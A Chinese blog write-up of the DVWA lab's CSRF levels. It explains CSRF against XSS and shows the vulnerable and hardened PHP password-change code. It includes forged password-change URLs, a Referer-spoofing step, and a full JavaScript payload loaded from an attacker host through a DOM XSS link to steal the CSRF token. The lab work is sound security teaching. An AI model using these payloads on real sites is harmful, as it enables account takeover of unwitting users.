【靶场练习】--DVWA第三关CSRF(跨站请求伪造)全难度分析
最近忙着入党的事情去了…因为我大一的时候挂了一科,所以慢了一个学期到大三才开始准备发展对象的材料。而我又正好是组织发展部的负责人(主要工作就是发展党员的)不仅要忙我自己的入党还要教我们支部的这一批人咋入党,写博客上就有一点懈怠了。。。到时候国庆和中秋的连假回家了估计也不会写。。。看来最近得加油了。。。
目录
- 原理
- Low
- 步骤
- 源码
- Medium
- 源码
- 步骤
- High
- 源码
- 步骤
- Impossible
- 源码
原理
核心原理是利用用户已认证的身份,在用户不知情的情况下伪造用户操作请求,从而执行未授权的操作 要理解 CSRF,首先需要明确 Web 应用的身份认证机制—— 许多 Web 应用通过「Cookie + Session」
维持用户登录状态: 用户登录后,服务器会生成 Session 存储用户身份,同时向客户端发送包含 Session ID 的 Cookie;后续用户发送请求时,浏览器会自动携带该 Cookie,服务器通过 Cookie 中的 Session ID 识别用户身份,确认 “这是已登录的合法用户”。
CSRF 正是利用了浏览器 “自动携带 Cookie” 的特性,其核心逻辑可概括为:
- 用户先登录 信任的网站 A(如银行、论坛),获得已认证的 Cookie(包含 Session ID);
- 用户在未退出网站 A 的情况下,被诱导访问 恶意网站 B(如钓鱼链接、植入恶意代码的页面);
- 恶意网站 B 向网站 A 发送一个伪造的请求(如转账、改密码、发帖子);
- 浏览器在发送该请求时,会自动携带网站 A 的已认证 Cookie;
- 网站 A 收到请求后,通过 Cookie 识别出用户身份,误认为是用户主动操作,从而执行该请求。
简单来说:CSRF 让服务器 “误以为” 请求是用户主动发起的,本质是身份的 “被冒用”,而非直接窃取用户身份信息(如 Cookie 内容)。其中窃取身份信息在high
难度有所涉及,所以这里提一下xss(跨站脚本攻击)与csrf(跨站请求伪造)二者区别
对比维度 | XSS(跨站脚本攻击) | CSRF(跨站请求伪造) |
---|---|---|
核心原理 | 注入恶意JavaScript代码,在用户浏览器中执行,窃取身份凭证(如Cookie)或控制用户操作 | 利用用户已认证的身份,伪造请求让服务器误以为是用户主动操作,不窃取凭证 |
攻击目标 | 直接获取用户敏感信息(Cookie、账号密码等)或执行未授权操作 | 执行未授权操作(如转账、改密码),不直接获取信息 |
技术依赖 | 依赖目标网站存在XSS漏洞(未过滤用户输入的脚本) | 依赖浏览器自动携带Cookie的机制和用户已登录目标网站 |
数据流向 | 目标网站 → 攻击者(通过恶意脚本窃取数据后发送给攻击者) | 攻击者 → 目标网站(伪造请求发送给目标网站) |
身份使用方式 | 窃取身份凭证后,攻击者可独立使用(如手动设置Cookie登录) | 不窃取凭证,仅“借用”用户当前已认证的身份(用户仍持有凭证) |
防御核心 | 过滤输入的恶意代码(转义特殊字符)、使用CSP、设置Cookie的HttpOnly属性 | 验证请求合法性(CSRF Token)、设置SameSite Cookie、验证Referer/Origin头 |
攻击条件复杂度 | 需目标网站存在XSS漏洞,攻击条件相对严格 | 无需目标网站有漏洞,仅需用户同时登录目标网站并访问恶意网站,条件相对宽松 |
典型攻击场景 | 窃取Cookie、会话劫持、篡改页面内容、钓鱼诱导 | 转账、修改密码、发布恶意内容、权限提升 |
与其他攻击关系 | 可被用来实施CSRF攻击(用XSS窃取凭证后伪造请求) | 无法用来实施XSS攻击 |
Low
步骤
随便输入密码测试一下,可以发现这是通过get请求中修改的密码
那就试试看,修改url中的密码然后让登录的人访问能不能实现修改真实密码
简单来说现实渗透场景就是可以做一个按键(或者图片什么的),
点击按键即访问修改过的url,
让幸运儿登录了之后去点击这个按键,
看看是否可以修改这位幸运儿账号的密码
eg.
使用bp将修改密码的页面截断(截断的是要点击了change后的页面),右击burp的空白处,选择Engagment tools,选择其中的Generate CSRFPOC。就可以制作一个html界面恶意按钮
我浏览器新开一个页面,输入http://dvwa-master:8898/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change#
之后,出现了这个界面(url要根据你自己部署的路径来微调):
测试发现成功修改密码为12345(原本改完密码为123)
源码
<?phpif( isset( $_GET[ 'Change' ] ) ) {// 检查URL中是否存在'Change'参数,通常表示用户提交了密码修改请求// Get input$pass_new = $_GET[ 'password_new' ]; // 从GET请求中获取新密码$pass_conf = $_GET[ 'password_conf' ]; // 从GET请求中获取确认密码//上面代码是含有csrf的主要原因,直接的get请求暴露在url中,没有防范机制// Do the passwords match?if( $pass_new == $pass_conf ) {// 检查新密码和确认密码是否一致// 对新密码进行数据库转义处理,防止SQL注入// 使用mysqli_real_escape_string函数处理特殊字符$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// 对处理后的密码进行MD5哈希加密$pass_new = md5( $pass_new );// Update the database$current_user = dvwaCurrentUser(); // 获取当前登录的用户名// 构建SQL更新语句,将新密码更新到当前用户记录// 注意:这里存在安全隐患,$current_user直接拼接进SQL语句,未做转义处理$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";// 执行SQL语句,如果失败则输出错误信息$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>"; // 密码修改成功提示}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>"; // 密码不匹配提示}// 关闭数据库连接((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
Medium
源码
像刚刚那样直接访问url进行修改密码很显然不行:
(现在密码为12345,尝试修改密码为123但是被发现请求不正确,失败了)
那么可以读源码:
<?phpif( isset( $_GET[ 'Change' ] ) ) {// 新增:检查请求来源(Referer验证),用于防御CSRF攻击// stripos() 函数检查 HTTP_REFERER(请求来源URL)中是否包含当前服务器域名(SERVER_NAME)// 若不包含,则判定为可疑请求,拒绝执行后续操作if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$current_user = dvwaCurrentUser();$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}}else {// 新增:当请求来源不是信任的域名时,拒绝处理并提示错误echo "<pre>That request didn't look correct.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
通过stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false
判断请求是否来自当前网站域名 (SERVER_NAME)。
- 若请求来自外部恶意网站,
HTTP_REFERER
会包含恶意网站域名,此时验证失败,拒绝执行密码修改操作。 - 只有当请求来自本站时,才继续处理密码修改逻辑。
步骤
对比一下伪造请求与正常请求的请求包
伪造:
正常:
那么思考:是不是我将请求包改加一个Referer字段就能够成功更改呢?
打开bp,访问http://dvwa-master:8898/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
(现在密码12345,尝试修改为123)并抓包:
在这个后面加referer字段
可以发现成功修改:
测试:
输入admin/123登录成功
High
源码
<?php$change = false;
$request_type = "html";
$return_message = "Request Failed";// 处理JSON格式的POST请求
if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {$data = json_decode(file_get_contents('php://input'), true);$request_type = "json";// 验证JSON请求中是否包含必要参数和用户令牌if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&array_key_exists("password_new", $data) &&array_key_exists("password_conf", $data) &&array_key_exists("Change", $data)) {$token = $_SERVER['HTTP_USER_TOKEN']; // 从请求头获取令牌$pass_new = $data["password_new"];$pass_conf = $data["password_conf"];$change = true; // 标记为可执行修改操作}
} else {// 处理普通表单请求(非JSON)if (array_key_exists("user_token", $_REQUEST) &&array_key_exists("password_new", $_REQUEST) &&array_key_exists("password_conf", $_REQUEST) &&array_key_exists("Change", $_REQUEST)) {$token = $_REQUEST["user_token"]; // 从请求参数获取令牌$pass_new = $_REQUEST["password_new"];$pass_conf = $_REQUEST["password_conf"];$change = true; // 标记为可执行修改操作}
}if ($change) {// 核心安全机制:验证CSRF令牌// 对比请求中的令牌与服务器Session中存储的令牌是否一致checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );// 验证两次输入的密码是否一致if( $pass_new == $pass_conf ) {// 对密码进行转义处理,防止SQL注入$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);// 对密码进行MD5哈希(注意:MD5安全性较低,不推荐用于生产环境)$pass_new = md5( $pass_new );// 更新数据库中的密码$current_user = dvwaCurrentUser(); // 获取当前登录用户$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . $current_user . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );// 操作成功的返回信息$return_message = "Password Changed.";}else {// 密码不匹配时的返回信息$return_message = "Passwords did not match.";}// 关闭数据库连接mysqli_close($GLOBALS["___mysqli_ston"]);// 根据请求类型返回对应格式的响应if ($request_type == "json") {generateSessionToken(); // 生成新的会话令牌(一次性令牌机制)header ("Content-Type: application/json");print json_encode (array("Message" =>$return_message));exit;} else {echo "<pre>" . $return_message . "</pre>";}
}// 生成新的CSRF令牌并存储到Session中
generateSessionToken();?>
优势分析:
- 从 Referer 验证升级为更可靠的 Token 验证机制
- 令牌存储在 Session 中,攻击者无法通过跨站请求获取
- 支持 API 接口的同时保持了 CSRF 防护能力
- 采用一次性令牌机制,降低了令牌泄露后的风险
步骤
试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击
alert(document.cookie);
var theUrl = 'http://www.dvwa.com/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {xmlhttp = new XMLHttpRequest();
}else{xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState ==4 && xmlhttp.status==200){var text = xmlhttp.responseText;var regex = /user_token\' value\=\'(.*?)\' \/\>/;var match = text.match(regex);console.log(match);alert(match[1]);var token = match[1];var new_url = 'http://www.dvwa.com/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change';if(count==0){count++;xmlhttp.open("GET",new_url,false);xmlhttp.send();}}
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();
xss.js放置于攻击者的网站上:http://www.hack.com/xss.js
CSRF结合同Security Level的DOM XSS,通过ajax实现跨域请求来获取用户的user_token,用以下链接来让受害者访问:
http://www.dvwa.com/vulnerabilities/xss_d/?default=English #<script src="http://www.hack.com/xss.js"></script>
诱导点击后,成功将密码修改为test。
此处high难度来自net1996的解法。一般的解法需要配合dvwa的存储型xss漏洞,直接获取受害者的cookie信息,然后通过bp修改cookie,进行一次重放攻击,简单粗暴
小贴士:最后记得把密码改回password,或者记住自己改的密码是啥
Impossible
需要输入当前密码,简单粗暴防止csrf攻击。
源码
<?phpif( isset( $_GET[ 'Change' ] ) ) {// 核心CSRF防护:验证请求中的user_token与Session中的session_token是否一致// 不一致则拒绝操作,有效防止跨站请求伪造checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// 从GET请求中获取输入的密码信息$pass_curr = $_GET[ 'password_current' ]; // 当前密码$pass_new = $_GET[ 'password_new' ]; // 新密码$pass_conf = $_GET[ 'password_conf' ]; // 确认新密码// 对当前密码进行安全处理$pass_curr = stripslashes( $pass_curr ); // 去除反斜杠转义// 数据库转义处理,防止SQL注入$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_curr = md5( $pass_curr ); // MD5哈希加密(安全性较低)// 验证当前密码是否正确(查询数据库中当前用户的密码)// 使用PDO预处理语句,避免SQL注入风险$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$current_user = dvwaCurrentUser(); // 获取当前登录用户名$data->bindParam( ':user', $current_user, PDO::PARAM_STR ); // 绑定用户名参数$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); // 绑定密码参数$data->execute(); // 执行查询// 验证条件:新密码与确认密码一致,且当前密码验证正确if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {// 新密码处理$pass_new = stripslashes( $pass_new ); // 去除反斜杠// 数据库转义处理$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new ); // MD5加密// 更新数据库中的密码// 同样使用PDO预处理语句,防止SQL注入$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );$current_user = dvwaCurrentUser();$data->bindParam( ':user', $current_user, PDO::PARAM_STR );$data->execute();// 密码修改成功提示echo "<pre>Password Changed.</pre>";}else {// 密码不匹配或当前密码错误提示echo "<pre>Passwords did not match or current password incorrect.</pre>";}
}// 生成新的CSRF令牌并存储到Session中(每次请求生成新令牌,增强安全性)
generateSessionToken();?>